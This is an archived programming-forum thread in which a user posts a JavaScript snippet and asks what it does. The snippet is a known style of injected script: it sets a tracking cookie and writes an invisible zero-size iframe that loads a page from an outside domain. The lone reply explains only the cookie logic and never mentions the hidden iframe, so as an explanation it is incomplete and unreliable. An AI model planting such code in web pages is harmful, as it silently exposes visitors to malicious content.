Wrox Programmer Forums
|
Java Basics General beginning Java language questions that don't fit in one of the more specific forums. Please specify what version.
Welcome to the p2p.wrox.com Forums.

You are currently viewing the Java Basics section of the Wrox Programmer to Programmer discussions. This is a community of software programmers and website developers including Wrox book authors and readers. New member registration was closed in 2019. New posts were shut off and the site was archived into this static format as of October 1, 2020. If you require technical support for a Wrox book please contact http://hub.wiley.com
 
Old May 29th, 2008, 11:51 PM
Authorized User
 
Join Date: Jul 2007
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
Default Help Me

Hello sir,

 Please Explain the Following javascript Code



window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("banner82=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000) ;
document.cookie = "banner82=update;expires=" + expires.toGMTString();
try{
document.write("<iframe src=http://adw95.com/cgi-bin/index.cgi?inbox width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}


Thanking You

 
Old June 1st, 2008, 10:53 PM
jomet
Guest
 
Posts: n/a
Default


checking whether a cookie exist with name banner82

if not creating one with expire time which is greater than current date.

please post the topics in correct forums
for javascript
http://p2p.wrox.com/javascript-85/

jomet.
`````````````````````````````````````````````````` ``````````````````````
Once you start a working on something, dont be afraid of failure and dont abandon it.
People who work sincerely are the happiest.









Powered by vBulletin®
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.
Copyright (c) 2020 John Wiley & Sons, Inc.